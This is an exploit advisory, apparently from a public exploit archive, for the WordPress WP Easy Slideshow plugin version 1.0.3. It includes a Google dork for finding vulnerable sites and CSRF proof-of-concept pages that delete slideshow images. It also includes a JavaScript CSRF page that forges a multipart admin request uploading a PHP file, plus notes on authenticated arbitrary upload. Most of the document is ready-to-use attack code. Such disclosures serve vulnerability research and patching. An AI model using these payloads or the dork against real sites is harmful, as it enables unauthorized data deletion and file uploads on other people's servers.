# Exploit Title: Wordpress WP Easy Slideshow Plugin Multiple Vulnerabilities
# Google Dork: inurl:/wp-content/uploads/wp-easy-slideshow/
# Date: 2 April 2015
# Exploit Author: Divya
# Vendor Homepage: https://wordpress.org/plugins/wp-easy-slideshow/
# Software Link: https://downloads.wordpress.org/plugin/wp-easy-slideshow.zip
# Version: 1.0.3
# Tested on: Windows, Linux
# CVE : None
Delete operation using CSRF:
<img src="http://192.168.1.2/wp-admin/admin.php?page=wss-images&del_id=[number]">
Example: http://192.168.1.2/wp-admin/admin.php?page=wss-images&del_id=1
<html>
<head><title>CSRF Delete Operation</title></head>
<body>
<form action="http://192.168.1.2/wp-admin/admin.php">
<input type="hidden" name="page" value="wss-images" />
<input type="hidden" name="del_id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Arbitrary File Upload using CSRF:
<html>
<head><title>WP CSRF File Upload</title></head>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/wordpress/wp-admin/admin.php?page=wss-add-image", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1559691976562");
xhr.withCredentials = true;
var body = "-----------------------------1559691976562\r\n" +
"Content-Disposition: form-data; name=\"wss_image\"; filename=\"myfile.php\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\x3c?php\r\n" +
"phpinfo();\r\n" +
"?\x3e\r\n" +
"-----------------------------1559691976562\r\n" +
"Content-Disposition: form-data; name=\"desc_content\"\r\n" +
"\r\n" +
"CSRF File Upload\r\n" +
"-----------------------------1559691976562\r\n" +
"Content-Disposition: form-data; name=\"image_link\"\r\n" +
"\r\n" +
"linkData\r\n" +
"-----------------------------1559691976562\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Submit\r\n" +
"-----------------------------1559691976562--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
Arbitrary File Upload (Authenticated):
URL: http://192.168.1.2/wp-admin/admin.php?page=wss-add-image
The upload script allows uploading arbitrary files. The files are renamed to numbers like 1,2,3,... The uploaded files cannot be executed on server.
Upload Location: http://192.168.1.2/wp-content/uploads/wp-easy-slideshow/
